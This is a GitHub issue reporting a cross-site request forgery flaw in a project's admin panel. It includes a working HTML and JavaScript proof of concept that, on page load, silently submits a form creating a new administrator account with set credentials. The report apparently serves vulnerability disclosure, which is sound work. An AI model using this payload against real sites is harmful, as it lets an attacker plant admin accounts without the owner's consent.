Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding an admin interface exists csrf exploit vulnerability #13

Open
PickledFish opened this issue May 30, 2019 · 0 comments
Open

Adding an admin interface exists csrf exploit vulnerability #13

PickledFish opened this issue May 30, 2019 · 0 comments

Comments

@PickledFish
Copy link

After the administrator logged in, open the following two page:

save in payload.html,add administrator

<title>Title</title> <script type="text/javascript"> function post(url, fields) { var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); }
function csrf_hack() {
    var fields;

    fields += "<input type='hidden' name='username' value='hack123' />";
    fields += "<input type='hidden' name='password' value='hacktest' />";
    fields += "<input type='hidden' name='repassword' value='hacktest' />";
    var url = "http://127.0.0.1/admin.php?m=Member&a=adminaddsave";
    post(url, fields);
}

window.onload = function () {
    csrf_hack();
}
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant